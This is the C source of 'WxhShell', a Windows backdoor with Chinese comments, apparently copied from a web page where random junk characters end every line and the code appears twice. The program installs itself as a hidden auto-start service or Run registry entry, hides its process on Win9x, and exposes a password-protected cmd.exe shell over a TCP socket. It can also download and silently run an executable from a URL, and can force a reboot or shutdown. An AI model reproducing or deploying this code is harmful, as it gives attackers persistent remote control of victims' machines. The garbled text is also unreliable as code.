    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :s,Z<^5a)g  
    else { n<,BmVQ  
    closesocket(wsh); '"^'MXa  
    ExitThread(0); (:_$5&i7  
    } kM 6 Qp  
    break; NbobliC=  
    } VVZ'i.*_3?  
  // 获取shell hgmCRC  
  case 's': { W^Yxny  
    CmdShell(wsh); (Z*!#}z`  
    closesocket(wsh); ~[ jQ!tz  
    ExitThread(0); |pK !S  
    break; I]575\bA  
  } ' QG?nu  
  // 退出 7pd$\$  
  case 'x': { txpgO1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K'bP@y_cq  
    CloseIt(wsh); Z;i:](  
    break; Dv"9qk  
    } ;gkM{={`p  
  // 离开 |4JEU3\$  
  case 'q': { 4 5e~6",  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sB</DS  
    closesocket(wsh); s%S  
    WSACleanup(); Hz~zu{;{J  
    exit(1); Ba,`TJ%y  
    break; yevPHN"M  
        } Wzh`or  
  } .8R@2c`}Cs  
  } D- c4EV  
PsYpxNr  
  // 提示信息 AdEMa}u 6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2iOV/=+  
} Z r8*et  
  } 3mgD(,(^  
-@s#uA h  
  return; 7r!x1  
} M7T5 ~/4  
%4H%?4  
// shell模块句柄  Sf'CN8  
int CmdShell(SOCKET sock) I0 -MRU~[K  
{ zdYjF|  
STARTUPINFO si; \<' ?8ri#  
ZeroMemory(&si,sizeof(si)); DF= *_,2/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CY1Z'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .3;;;K9a~]  
PROCESS_INFORMATION ProcessInfo; paK2 xX8E  
char cmdline[]="cmd"; *T/']t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #4PN"o@  
  return 0; w}KkvP^  
} 6'/ #+,d'  
_U(  
// 自身启动模式 Nc`L;CP  
int StartFromService(void) Y|n"dMrL  
{ =euni}7a  
typedef struct +rd+0 `}C  
{ e= AKD#  
  DWORD ExitStatus; =  [E  
  DWORD PebBaseAddress; oxs#866x  
  DWORD AffinityMask; ? k/`  
  DWORD BasePriority;  @5FQX  
  ULONG UniqueProcessId; A&VG~r$  
  ULONG InheritedFromUniqueProcessId; Ytkv!]"  
}   PROCESS_BASIC_INFORMATION; k:;r2f  
\dVOwr  
PROCNTQSIP NtQueryInformationProcess; v+XJ*N[W  
%v|B *  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vzM ^$V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [WmM6UEVS  
ueudRb  
  HANDLE             hProcess; G[=c Ss,  
  PROCESS_BASIC_INFORMATION pbi; &8H'eAA  
b=vkiO`2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t_^4`dW`  
  if(NULL == hInst ) return 0; C]6O!Pb0  
~ }P,.QQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &ncvGDGi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XSRsGTCC=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AH^/V}9H  
w<#!h6Y=  
  if (!NtQueryInformationProcess) return 0; +[VXs~I q  
Psf#c:*_)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kmW4:EA%  
  if(!hProcess) return 0; Y4-t7UlS;  
J5qZFD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -f .,tM=  
c)J%`i$  
  CloseHandle(hProcess); ;u JMG  
7! Nsm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); It(_v  
if(hProcess==NULL) return 0; #"!<W0  
V!Uc(  
HMODULE hMod; TOt dUO  
char procName[255]; & 21%zPm  
unsigned long cbNeeded; ]kSGR  
L0,'mS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2G7Wi!J  
COlqcq'qAu  
  CloseHandle(hProcess); >Tgv11[  
ll^#JpT[S  
if(strstr(procName,"services")) return 1; // 以服务启动 <I?Zk80  
-RwE%  cr  
  return 0; // 注册表启动 fC`&g~yK'  
} c{|p.hd  
$FVNCFN%  
// 主模块 ]^E?;1$f?  
int StartWxhshell(LPSTR lpCmdLine) la!~\wpa  
{ :TbgFQ86~  
  SOCKET wsl; }vuO$j  
BOOL val=TRUE; RZLq]8pM  
  int port=0; FrS]|=LJhX  
  struct sockaddr_in door; Ui~>SN>s  
@"A4$`Xi3  
  if(wscfg.ws_autoins) Install(); ?s01@f#  
[,Gg^*umS  
port=atoi(lpCmdLine); (QEG4&9  
6x`t{g]f,  
if(port<=0) port=wscfg.ws_port; QRUz`|U  
%b$>qW\*&  
  WSADATA data; D*jM1w_`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t.<i:#rj>l  
4?kcv59  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^#pEPVkY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); teR Tu  
  door.sin_family = AF_INET; XFl 6M~ c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >MZ/|`[M  
  door.sin_port = htons(port); h p1Bi  
7Q 3k 7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Txu/{ M,  
closesocket(wsl); BGSw~6  
return 1; BPrt'Nc  
} { 6il`>=C  
*4'"2"  
  if(listen(wsl,2) == INVALID_SOCKET) { {7[Ox<Ho  
closesocket(wsl); N2G{<>=  
return 1; $'vU2L  
} 5pX6t  
  Wxhshell(wsl); 6nn *]|7  
  WSACleanup(); /~1+i'7V.,  
("KF'fp&M2  
return 0; |!ELV 7?(  
"oyo#-5z  
} &ZO0r ^  
_a, s )  
// 以NT服务方式启动 F?0Ykjh3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OUnA;_  
{ pa+hL,w{6  
DWORD   status = 0; :OT&  
  DWORD   specificError = 0xfffffff; M\j.8jG  
_ q"Gix  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0GwR~Z}Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6tZI["\   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; awRX1:T#;O  
  serviceStatus.dwWin32ExitCode     = 0; ~N4m1s"  
  serviceStatus.dwServiceSpecificExitCode = 0; 0GLM(JmK  
  serviceStatus.dwCheckPoint       = 0; Gv&V|7-f0  
  serviceStatus.dwWaitHint       = 0; P \I|,  
P55fL-vo|}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }>\C{ClI  
  if (hServiceStatusHandle==0) return; kh<2BOV  
ctQ/wrkU  
status = GetLastError(); :jf3HG  
  if (status!=NO_ERROR) &{:-]g\  
{ gXU8hTd8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u8^lB7!e/  
    serviceStatus.dwCheckPoint       = 0; `[A];]  
    serviceStatus.dwWaitHint       = 0;  *CMx-_  
    serviceStatus.dwWin32ExitCode     = status; BT$_@%ea&  
    serviceStatus.dwServiceSpecificExitCode = specificError; )J |6-C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TeQV?ZQ#}  
    return; xdPx{"C 3  
  } DU^loB+  
P?<y%c<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; , gHDx  
  serviceStatus.dwCheckPoint       = 0; _1^'(5f$  
  serviceStatus.dwWaitHint       = 0; y_,bu^+*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YSMAd-Ef-  
} [[ZJ]^n,  
)7@0[>  
// 处理NT服务事件,比如:启动、停止 )oZ dj`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lZ0 =;I  
{ *pd@.|^)m  
switch(fdwControl) 3`HV(5U[  
{ gw(z1L5 n  
case SERVICE_CONTROL_STOP: K3C<{#r  
  serviceStatus.dwWin32ExitCode = 0; kfNWI#'9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f1? >h\F8  
  serviceStatus.dwCheckPoint   = 0; WIOV2+  
  serviceStatus.dwWaitHint     = 0; ICCc./l|  
  { M5B# TAybC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MD]>g>  
  } [QTV9  
  return; CTK;dM'uQ  
case SERVICE_CONTROL_PAUSE: *Ex|9FCt$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1YA% -~  
  break; ;S{(]K7i  
case SERVICE_CONTROL_CONTINUE: '-6~tWC~7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U*:!W=XN  
  break; g0H[*"hj  
case SERVICE_CONTROL_INTERROGATE: 'qi}|I  
  break; P>L +t`'  
}; 58K5ZZG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0(I j%Wi,  
} )jj0^f1!j  
J,G lIv.A  
// 标准应用程序主函数 )0MB9RMk1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GILfbNcd  
{ }G=M2V<L  
^8tEach  
// 获取操作系统版本 3 $w65=  
OsIsNt=GetOsVer(); l:%GH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0YzpZW"+  
V)^+?B)T  
  // 从命令行安装 +p^u^a  
  if(strpbrk(lpCmdLine,"iI")) Install(); v=k$A  
$M#>9QHhc  
  // 下载执行文件 b -y  
if(wscfg.ws_downexe) { !wNO8;(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l2d{ 73h  
  WinExec(wscfg.ws_filenam,SW_HIDE); ToQ"Iy?  
} u-TUuP  
iE{&*.q_}>  
if(!OsIsNt) { ,Q,^3*HX9}  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q?T]MUY(L  
HideProc();  OSJ$d  
StartWxhshell(lpCmdLine); U.TA^S]`g  
} Al'3?  
else >7r!~+B"9'  
  if(StartFromService()) uEY tE7  
  // 以服务方式启动 tgaO!{9I?  
  StartServiceCtrlDispatcher(DispatchTable); u>$t'  
else X 8|EHb<  
  // 普通方式启动 %SI'BJ  
  StartWxhshell(lpCmdLine); `6YN3XS  
K^$=dLp  
return 0; ':W[A  
} HDKbF/  
] - .aL  
b[yiq$K/  
7rA;3?p)  
=========================================== 8Y3I0S  
y]im Z4{/  
+RXoi2"-q@  
Wm|lSisY  
/bEAK-  
"j-CZ\]U|  
" r/sNrB1U"y  
X.V~SeS  
#include <stdio.h> __@BUK{q  
#include <string.h> YP9^Bp{0  
#include <windows.h> mTh]PPo   
#include <winsock2.h> ccnK#fn v  
#include <winsvc.h> [Yyk0Qv|4  
#include <urlmon.h> l@\FWWQ  
Tr|JYLwF  
#pragma comment (lib, "Ws2_32.lib") Zov~B-Of:  
#pragma comment (lib, "urlmon.lib") ,47qw0=C  
&R siVBA  
#define MAX_USER   100 // 最大客户端连接数 q =Il|Nb>  
#define BUF_SOCK   200 // sock buffer m4& /s  
#define KEY_BUFF   255 // 输入 buffer nie%eC&U  
Wf<LR3  
#define REBOOT     0   // 重启 fLVAKn  
#define SHUTDOWN   1   // 关机 bfO=;S]b!  
{U1m.30n  
#define DEF_PORT   5000 // 监听端口 BD-AI  
Q^I\cAIB  
#define REG_LEN     16   // 注册表键长度 a6H%5N  
#define SVC_LEN     80   // NT服务名长度 ,P Z ge  
 9a kH  
// 从dll定义API x:7IIvP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {|\.i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bi:8(Q$w:`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iOdpM{~*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fQ98(+6  
Th[dW<  
// wxhshell配置信息 d"NLE'R  
struct WSCFG { �{x7,  
  int ws_port;         // 监听端口 Nluoqo ac  
  char ws_passstr[REG_LEN]; // 口令 X@f}Q`{Ymj  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2[CdZ(k]5  
  char ws_regname[REG_LEN]; // 注册表键名 6 r_)sHf  
  char ws_svcname[REG_LEN]; // 服务名 mqJ_W[y7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !-Y3V"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ve=b16H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }-fl$j?9E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no " Jr-J#gg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &[SC|=U'M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kN>!2UfNS  
Wl Sm  
}; Sc   
ZC}QId  
// default Wxhshell configuration T)}) pt!V  
struct WSCFG wscfg={DEF_PORT, wAd9  
    "xuhuanlingzhe", !by\9  ?n  
    1, kW (Bkuc)  
    "Wxhshell", j7c3(*Pl  
    "Wxhshell", z ]Ue|%K  
            "WxhShell Service", rbpSg7}Q  
    "Wrsky Windows CmdShell Service", :ivf/x n  
    "Please Input Your Password: ", 'QIqBU'~  
  1,  bF(f*u  
  "http://www.wrsky.com/wxhshell.exe", %IRi1EmN8  
  "Wxhshell.exe" o]:9')5^  
    }; \L\b$4$d  
0RK!/:'  
// 消息定义模块 D0q ":WvE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |I|fMF2K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; km40qO@3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XrPfotj1  
char *msg_ws_ext="\n\rExit."; F>cv<l =6l  
char *msg_ws_end="\n\rQuit."; 4e1Y/ Xq`  
char *msg_ws_boot="\n\rReboot..."; ]fD} ^s3G  
char *msg_ws_poff="\n\rShutdown..."; 8*fv'  
char *msg_ws_down="\n\rSave to "; HKr Mim-  
)WoxMmz  
char *msg_ws_err="\n\rErr!"; .6V}3q$-@  
char *msg_ws_ok="\n\rOK!"; _l]fkk[T  
f9\X>zzB2|  
char ExeFile[MAX_PATH]; hzRYec(  
int nUser = 0; Gbw2E&a  
HANDLE handles[MAX_USER]; $\! 7 {6a  
int OsIsNt; ,: ->ErP  
m_l[MG\  
SERVICE_STATUS       serviceStatus; A4ygW:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P2*<GjV`S/  
"T"h)L<  
// 函数声明 <o= 8 FO  
int Install(void); veRm2 LSP  
int Uninstall(void); h-D }'R  
int DownloadFile(char *sURL, SOCKET wsh); +U.I( 83F  
int Boot(int flag); ]cN1c}  
void HideProc(void); ~= -RK$=  
int GetOsVer(void); F3N6{ysK#  
int Wxhshell(SOCKET wsl); d:{O\   
void TalkWithClient(void *cs); h=%_Ao<x  
int CmdShell(SOCKET sock); VQ{fne<  
int StartFromService(void); +'@Dz9:>  
int StartWxhshell(LPSTR lpCmdLine); ^BL"wk  
EyLuO-5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FEVlZ<PW3I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Wr5V`sM  
 {>%&(  
// 数据结构和表定义 z"4~P3>{g  
SERVICE_TABLE_ENTRY DispatchTable[] = BX^tR1  
{ ss e.*75U  
{wscfg.ws_svcname, NTServiceMain}, $a %MOKr  
{NULL, NULL} FkRo _?  
}; wuqJr:q*#  
}#E[vRf  
// 自我安装 =kqt   
int Install(void) :Lug7bUVD  
{  JSg$wi8  
  char svExeFile[MAX_PATH]; Y)a^(!<H<  
  HKEY key; evJ.<{M  
  strcpy(svExeFile,ExeFile); pXK^Y'2C!  
Yir [!{  
// 如果是win9x系统,修改注册表设为自启动  0{ [,E.  
if(!OsIsNt) { C{b gkzr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BV+ Bk+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $D UZ!zaH!  
  RegCloseKey(key); .-X8J t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { * +wW(#[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aoa)BNs  
  RegCloseKey(key); d5z`BH.  
  return 0; 1&o|TT/  
    } a+PzI x2  
  } hDq`Z$_+KX  
} 0nD/;\OU  
else { =iD 3Yt  
13=.H5  
// 如果是NT以上系统,安装为系统服务 ^w06<m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :<#nTh_@\'  
if (schSCManager!=0) B !=F2  
{ uc"P3,M  
  SC_HANDLE schService = CreateService 2Q"K8=s  
  ( E\2%E@0#  
  schSCManager, PIpi1v*qz  
  wscfg.ws_svcname, wuJ4kW$  
  wscfg.ws_svcdisp, ;{o|9x|  
  SERVICE_ALL_ACCESS, q8Z<{#oXu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SN!?}<|U  
  SERVICE_AUTO_START, RlDn0s  
  SERVICE_ERROR_NORMAL, >u8gD6X  
  svExeFile, *C=>X193U  
  NULL, KFkoS0M5|  
  NULL, G<^{&E+=  
  NULL, H1(Uw:V8  
  NULL, mcX/GO}  
  NULL 9lDhIqx0~  
  ); = +?7''{>  
  if (schService!=0) 9v!1V,`j"  
  { =6|&Jt  
  CloseServiceHandle(schService); g^ i&gNDx  
  CloseServiceHandle(schSCManager); ; p{[1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _W'-+,  
  strcat(svExeFile,wscfg.ws_svcname); \A6B,|@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :'&brp3ii=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Zdo'{ $  
  RegCloseKey(key); HuKc9U'7A  
  return 0; yD6[\'%  
    } gy9U2Wgf|  
  } _1L![-ac  
  CloseServiceHandle(schSCManager); }:*]aL<7_  
} 3nnJ8zQ  
} #3 pb(fbw  
B|AV$N*  
return 1; \K]0JH  
} FzXJ]H  
eS mLf*\G  
// 自我卸载 h_IDO%  
int Uninstall(void) ""Q P%  
{ 'xg Lt(  
  HKEY key; %(G* ,  
v(D;PS3r 7  
if(!OsIsNt) { PO 7Lf#9]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /mu*-,a eX  
  RegDeleteValue(key,wscfg.ws_regname); =;&yd';k  
  RegCloseKey(key); c+nq] xOs'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0aa&m[Mk  
  RegDeleteValue(key,wscfg.ws_regname); (%W&4a1di  
  RegCloseKey(key); ^7KH _t8  
  return 0; g5QZ0Qkj  
  } dIBE!4 V[  
} >:!X.TG$  
} LRG6:&  
else { &wE%<"aRAl  
o\pVpbB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2nIw7>.}f  
if (schSCManager!=0) #PQB(=299P  
{ BC<^a )D=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K8.!_ c  
  if (schService!=0) :#?5X|Gz  
  { f|lU6EkU  
  if(DeleteService(schService)!=0) { J 9iy  
  CloseServiceHandle(schService); X;c'[q  
  CloseServiceHandle(schSCManager); tX %5BTv  
  return 0; !pdb'*,n  
  } KOuCHqCfq  
  CloseServiceHandle(schService); p\ZNy\N^  
  } s;vHPUB\n  
  CloseServiceHandle(schSCManager); rOOT8nkR#  
} I4q9|'-yx  
} ,lA  s  
0h\smqm  
return 1; -Z Ugx$  
} ndz]cx  
vucxt }Ti  
// 从指定url下载文件 Om@C X<(9C  
int DownloadFile(char *sURL, SOCKET wsh) :GP]P^M;G@  
{ ApV~( k)W  
  HRESULT hr; Uu(SR/R}  
char seps[]= "/"; V<uR>TD(  
char *token; z]?N+NHOA  
char *file; l6 H|PR{  
char myURL[MAX_PATH]; \(Y\|zC'0$  
char myFILE[MAX_PATH]; {I#]@,  
mFaZio0GK  
strcpy(myURL,sURL); D(RTVef  
  token=strtok(myURL,seps); ^y1j.M@q  
  while(token!=NULL) /M4{Wc  
  { T iiWp!mX  
    file=token; H>B&|BO_[  
  token=strtok(NULL,seps); j; y#[|  
  } !F1N~6f  
(HE9V]  
GetCurrentDirectory(MAX_PATH,myFILE); 5Qn '  
strcat(myFILE, "\\"); 5}]"OXQ  
strcat(myFILE, file); v,{yU\)  
  send(wsh,myFILE,strlen(myFILE),0); Ww%=1M]e-  
send(wsh,"...",3,0); nV:LqF=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OAkZKG|  
  if(hr==S_OK) ~h85BF5  
return 0; (#RHB`h5  
else QYjsDL><  
return 1; <Fc;_GG  
;he"ph=>  
} k!HK 97qA  
E!l!OtFL  
// 系统电源模块 $#S&QHyEe  
int Boot(int flag) b+6\JE^Mz  
{ A '5,LfTu  
  HANDLE hToken; DYxCQ D  
  TOKEN_PRIVILEGES tkp; [@b&? b~K  
v+`N*\J_  
  if(OsIsNt) { pDIVZC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u TK,&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k+Czj  
    tkp.PrivilegeCount = 1; 2fR02={-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2Mmz%S'd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YSh+pr  
if(flag==REBOOT) { 5$&%re!{Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) orfO^;qTY  
  return 0; /! $c/QZ  
} fM63+9I)\  
else { ZUR6n>r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4?7W+/~<&  
  return 0; ytoo~n  
} ps%q9}J  
  } `~Zs0  
  else { QQ~-  
if(flag==REBOOT) { @&:ar  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DV-;4AxxRq  
  return 0; 0#&5.Gr)  
} [uq$5u  
else { V'T ,4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7=WT69,&  
  return 0; (>GK \=:<  
} ,:H\E|XeBw  
} FUOI3  
b6F4>@gjg  
return 1; ^1aAjYFn  
} T' &I{L33Y  
 @zz1hU  
// win9x进程隐藏模块 r1L ViK  
void HideProc(void) fhp<oe>D  
{ Jjv=u   
M|qteo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H {k^S\K  
  if ( hKernel != NULL ) * %M3PTY\  
  { ( ?{MEwHG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q=T&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kg3EY<4i  
    FreeLibrary(hKernel); ); dT_  
  } be-~\@  
jvFTR'R)=  
return; R_7 d@FQ1  
} vIwCJN1C  
:1^R9yWA4  
// 获取操作系统版本 A"D,Kg S  
int GetOsVer(void) ?)X,0P'  
{ )'%$V%9  
  OSVERSIONINFO winfo; [4C:r!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [uls8 "^/j  
  GetVersionEx(&winfo); u1PaHgi$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,%Up0Rr,  
  return 1; &PK\|\\2  
  else Q|L9g z[?  
  return 0; :8+Nid)  
} 1/-43B  
)ZqJh  
// 客户端句柄模块 #w-xBM @  
int Wxhshell(SOCKET wsl) q51Uf_\/  
{ p)3U7"q  
  SOCKET wsh; @u%_1  
  struct sockaddr_in client; EC8b=B<DE  
  DWORD myID; .dQQoyR+O  
ct,l^|0Hu8  
  while(nUser<MAX_USER) WjwLM2<nK7  
{ Ii_ojQP-z  
  int nSize=sizeof(client); 88h3|'*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ),!;| bh  
  if(wsh==INVALID_SOCKET) return 1; {0^&SI"5`E  
GF%314Xu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I{ :(z3  
if(handles[nUser]==0) .j>hI="b  
  closesocket(wsh); D{d>5P?W  
else HnCzbt@  
  nUser++; m"jV}@agX  
  } i?e`:}T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $Gv9m  
/BV03B  
  return 0; c#]q^L\x  
} <_Q:'cx'  
hq/k*;  
// 关闭 socket $g+[yb7@  
void CloseIt(SOCKET wsh) 5N*Ux4M  
{ 7=OQ8IM !  
closesocket(wsh); 7C2&NyWJ  
nUser--; )V:]g\t  
ExitThread(0);  n>`as  
} /'DsB%7g  
YH_7=0EJ  
// 客户端请求句柄 -O!Zxg5x  
void TalkWithClient(void *cs) Bk\Gj`"7  
{ z,:a8LB#[  
(%o2jroQ#  
  SOCKET wsh=(SOCKET)cs; YxinE`u~  
  char pwd[SVC_LEN]; NDAw{[.%  
  char cmd[KEY_BUFF]; \Z/)Y;|mi0  
char chr[1]; UNi`P9D]3  
int i,j; TkO[rAC  
gzD@cx?V  
  while (nUser < MAX_USER) { j>/ ,$H  
Gkxj?)`  
if(wscfg.ws_passstr) { ;6{@^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N**g]T 0`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ee#): -p  
  //ZeroMemory(pwd,KEY_BUFF); fb:j%1WF  
      i=0; /q$,'^.A  
  while(i<SVC_LEN) { (?! ,p^  
^~HQC*  
  // 设置超时 ?EK?b s  
  fd_set FdRead; ~ Yngkt  
  struct timeval TimeOut; I1>N4R-j  
  FD_ZERO(&FdRead); ^T,Gu-2>  
  FD_SET(wsh,&FdRead); H'UR8%  
  TimeOut.tv_sec=8; dN}#2Bo =  
  TimeOut.tv_usec=0; Uyr3dN%*r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fiN3xP]V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d/e|'MPX  
LJTQaItdqJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d{de6 `  
  pwd=chr[0]; )& <=.q  
  if(chr[0]==0xd || chr[0]==0xa) { w7n373y%  
  pwd=0; uH;-z_Wpn!  
  break; D'hW|  
  } N#_GJSG_|  
  i++; V)i5=bHC  
    } O8W7<Wc |z  
7 +@qB]Bi<  
  // 如果是非法用户,关闭 socket =}:)y0L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K[7EOXLy  
} e<#DdpX!H~  
I;?X f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y{a$y}7#X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .+([  
^+9sG$T_EV  
while(1) { 3u\;j; Td!  
iIGbHn,/  
  ZeroMemory(cmd,KEY_BUFF); d@3}U6,  
]}6w#)]"  
      // 自动支持客户端 telnet标准   ZB[Qs   
  j=0; ?`Y\)'}   
  while(j<KEY_BUFF) { <x),,a=X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :g\rQazxO  
  cmd[j]=chr[0]; LR,7,DH$9'  
  if(chr[0]==0xa || chr[0]==0xd) { ')$NfarQ.  
  cmd[j]=0; 6k/U3&R  
  break; DK&h eVIoZ  
  } %&\jOq~  
  j++; Lh-`OmO0>F  
    } WmQ 01v  
)*d W=r/$V  
  // 下载文件 sfVf@0g  
  if(strstr(cmd,"http://")) { }Y17*zp%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xyE1Gw`V  
  if(DownloadFile(cmd,wsh)) L~^*u_U]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1lnU77;  
  else 7gS1~Q4\V2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $8BE[u|H2  
  } P~FUS%39"o  
  else { Jj^GWZRu  
g3%t8O/M  
    switch(cmd[0]) { ro[Y-o5Q0  
  Fequm+  
  // 帮助 -n? g~(/P  
